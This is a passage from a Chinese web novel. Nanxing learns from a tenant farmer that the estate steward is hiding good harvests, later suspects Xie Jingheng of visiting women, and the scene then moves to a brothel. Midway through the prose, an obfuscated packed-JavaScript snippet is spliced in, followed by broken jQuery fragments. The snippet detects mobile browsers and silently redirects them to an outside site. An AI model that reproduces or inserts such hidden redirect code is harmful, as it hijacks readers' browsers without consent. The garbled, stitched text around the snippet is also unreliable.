“姑娘先喝杯热茶暖暖身子。”李路的媳妇端来热茶，头上包着头巾，刚出月子，脸色有些青白。
南星接过热茶，“嫂子先坐下，适才出了月子，又要照看孩子很是辛苦，有什么需要的我自己来便好。”
南星将要走出庄子时遇到了刚从外面做零工回来的李路，热情邀请她进家坐坐，听说南星要去买菜，主动帮她询问附近的人家。
李路媳妇膝盖一弯，就要给她跪下，南星吓了一大跳，连忙扶住她，道：“嫂嫂，你这是干什么！”
“多谢姑娘救命之恩，要不是当初姑娘的银子，我那两个可怜的孩子今儿不知道怎么样。家里穷，不能报答姑娘，这一跪我替孩子感谢姑娘，也是作为母亲我唯一能做的。”
“使不得，使不得……”
好说歹说，李路媳妇终于坐下来，抱着孩子跟南星聊起了家常。
李路家就是三间用黄土垒起来的房子，家里连像样的桌椅板凳都没有，但收拾得干净整洁，几间屋子，唯有这一间烧了炕，见南星过来，李路加了两盆炭火，虽不如自己屋子暖，但总好过外面吹得冻人。
“姑娘不是和刘管事住一起，怎么还要专门出来采买。辽州冬天太过冻人，线下正是一年里最冷的时候，在外行走容易冻伤，再说，都快临近年关了，菜场离庄子远着呢，你一个小姑娘怎么扛得回来。”李路媳妇道，“以后有什么需要的，不用客气，尽管支使我家那口子。”
“那我先谢过嫂子了。”南星继续说道，“嫂子一直住在庄子里吗？初来乍到，对庄子里的事务不熟悉。”
李路媳妇为人热情，加上南星帮了一个大忙，热心地介绍起了庄子里的事情。
他们一家人世代居住在庄子附近，租了庄里的田地，日子过得紧巴巴的，饿不死，活不好。李路媳妇怀的是双胞胎，许是营养不良的缘故，早产生下两个孩子，家中的境况一下子就艰难起来。
亲戚朋友也都是勉强过活，谁帮得了谁呢？
实在是养不活了，旁人劝他们将孩子送人，反正是女孩子，以后再生就是了。可是，他们夫妇不舍得，若不是遇到南星，他们真的不知道如何是好。
“我家那口子在城里寻了一个铲雪的活，虽是累了点，但是给的银子多，可以养活我的妞妞。”李路媳妇脸上带着笑，“等来年雪化了，春播后日子就有盼头了……”
“种的田地够吃食吗？你要带两个孩子，只有李大哥一人忙活得过来吗？”
“辽州的土地肥沃，大人吃得少点，总不会饿到孩子的。”
“我听闻近几年干旱，土地减产，收不到什么粮食。”南星笑了一下。
李路媳妇愣了一下，扯着嘴角笑了一下，“瞧我这记性，生了孩子之后脑子就不好使了。前几年开始雨水开始变少，泥土板结了，长不出庄稼。”
“是吗？”南星笑着说道，李路媳妇眼神逃避，抱起小孩子开始逗。
“南星姑娘，东西我给买回来了，你看看东西齐备了没。”外面传来了李路的声音，打破了此时的尴尬。
李路用牛车拉了一车的食物，堆得高高的。
李路搓搓手，道：“冬日里没有什么菜，我找周围的农户买了些白菜、萝卜和土豆，还有些牛肉。附近存有牛羊肉的农户不多，我问了一圈，只找了这些。不过，姑娘不用担心，我给你定了两只最肥美的羔羊，等晚些时候宰杀给你送过去。”
“谢谢李大哥帮忙，如果不是遇到你，我一个人真不知道去哪里找这么多的菜。”
李路摸摸头，不好意思地说道，“庄稼人没有本事，就是有把子力气和时间，以后什么需要帮忙，姑娘尽管支使，别客气。”
“等一下。”李路媳妇回去抱了一个坛子出来，“家里没有什么好东西，这是自家腌的酱菜，姑娘莫要嫌弃，拿回去尝尝我的手艺。”
李路将准备好的吃食一路送到了南星的住处，蔬菜等搬到了地窖中保存，肉类方到外面就好。
收拾好东西，李路怎么说不愿意进去喝一杯茶，南星无奈送李路到了门口，递了一大块牛肉到李路手中，李路推迟不肯收。
南星说道：“今日第一次登门什么都没有准备，这一点菜李大哥莫要推辞，就当我谢谢嫂子的那坛酱菜。”
李路还在犹豫，南星直接塞到李路的手里，笑着说道：“近几年收成不好，日子过得辛苦，以后有什么需要的尽管来找我。”
李路低头看了一下手中的一大块牛肉，足够他们一家人过年吃几顿好的，李路嘴巴几度张合想说些什么，但是最后还是没有说出口，紧抓着手中的肉离开。
走了几步路，李路停住脚步，转身，像是下定了决心朝南星走过来。
“南星姑娘，”李路苦笑，“我不是故意要瞒着你的，其实近年来庄子里面田地的收成一直很好，只是地租一年年涨。刘管事让庄子里的佃户都不能说实话，若不然明年地就不租了，所以……”
李路离开之后，南星一边烧火，一边思索李路说的话。
刘管事一定是中饱私囊了，庄子对夫人来说只是众多产业的一个，地处偏远，赚多赚少，不甚在意。
但，对于普通人来说，这么多年积攒下来的产业不知道够吃几辈子了。
公子对庄子的事情不上心，丝毫没有揭穿刘管事的打算。
这样子下去不行，若是到了明年，地租依旧收不上来，回了侯府公子的处境便会愈加艰难。
南星原本想等着公子回来后和公子提这件事情，但直到她趴在桌子上睡着，都没有等到公子回来，次日一早，南星从床上醒过来，一摸旁边，床铺是凉的，好似不曾有人睡过。
南星翻了个身起床，嘴里嘟囔着，不知道公子到底是在忙什么，成日的不见人。
刚想推开门，发现桌上的杯子底下压着一张纸——厨房里有烤鸭和点心，勿贪多，天冷多添衣。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458195|169615||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
寥寥几句话，南星读了好几遍，脑海中浮现谢景恒写字的样子，嘴角不自觉勾起，脚步都轻快了许多，走到门口，想起什么倒回来，走到平日放衣服的架子。
架子上果真挂着谢景恒换下的衣服。
谢景恒爱洁，每日至少要换一身衣服，南星伸出手，触摸着衣服上的暗纹，鼻翼微动，衣服上沾了熟悉的草药香和淡淡的酒香。
还有，若有若无的陌生的气味。
眉头拧起，南星凑过去，仔细嗅着。
胭脂水粉的气味。
南星抬手闻了一下自己的袖口，不是她用的香。
雀跃的心一下子就冷下来，嘴抿着，手里叠好的纸张也被揉成一团。
南星泄愤地将那团纸丢到门外，黄色的纸张在洁白的雪地里甚是扎眼，南星抬脚，想踢远点，眼不见为净。
烤鸭放在灶上的锅里热着，底下隔着热水，还是热乎乎的，旁边的锅里还有清粥和她喜欢吃的小菜。
胃口不好，犹是被烤鸭的香味吸引，掰下一只鸭腿啃了一口，鸭皮香而不焦，烤的十分入味。
肯定是心中有愧，现在不知道在哪家快活吃酒。买点好吃的就想收买她。
休想！
辽州最大的青楼——斜芳院。
外面冰天雪地，内里热闹非凡，后院的烧着锅炉的房子几个烟囱冒着直直的烟，紧闭的门窗中时不时泄出调笑声，丝竹声。
偶尔路过的路人眼中露出艳羡，同伴拍了一下肩膀，“别看了，斜芳院就是个销金库，口袋里有几个铜板，想进去，等下辈子投个好胎。”
两人走远，依旧回头看了一眼。
斜芳院用琉璃罩着灯，摆满了四处，四处挂着红色的绸子，倒是应了年景。中间的台子上舞女穿得丝薄的纱裙，伴随着丝竹声轻扭腰肢，台下时不时响起下流的口哨声。
期间数个艳丽的女子端着酒壶和果盘在其中游走，行走间长腿若隐若现，姿态娇媚，不复往日的谄媚，只是端酒不调笑，送了就走，轻纱曼飘，甚是勾人。
其间不少人被勾了魂，揣着荷包就上前，和女子好一番来回推拒，客人给的钱却是更爽快了。
老鸨在楼上看着眼前的一幕，笑得合不拢嘴，“公子不光是相貌英俊，脑子更是灵光，我给公子备了一间上房，一会儿我喊院里身段最好的姑娘，任公子挑选，多挑几个。”
“我只要见花娘。”谢景恒道。
“花娘可不好见，院子里的好姑娘多的是，相貌身段才艺比她好的多的是，院子里的头牌我都给了，公子莫要钻牛角尖。”
杜衡不满地嚷嚷：“你这老鸨好不讲理，之前应了我家公子，只要院子赚的钱翻了一番就让花娘服侍我家公子。如今做到了，你却要反悔。”
老鸨敛了笑，眼中露出精明，“你可不要不识趣，花娘一年前就不接客了，谁来都不接，管你是什么乡仕豪绅，一概不接。”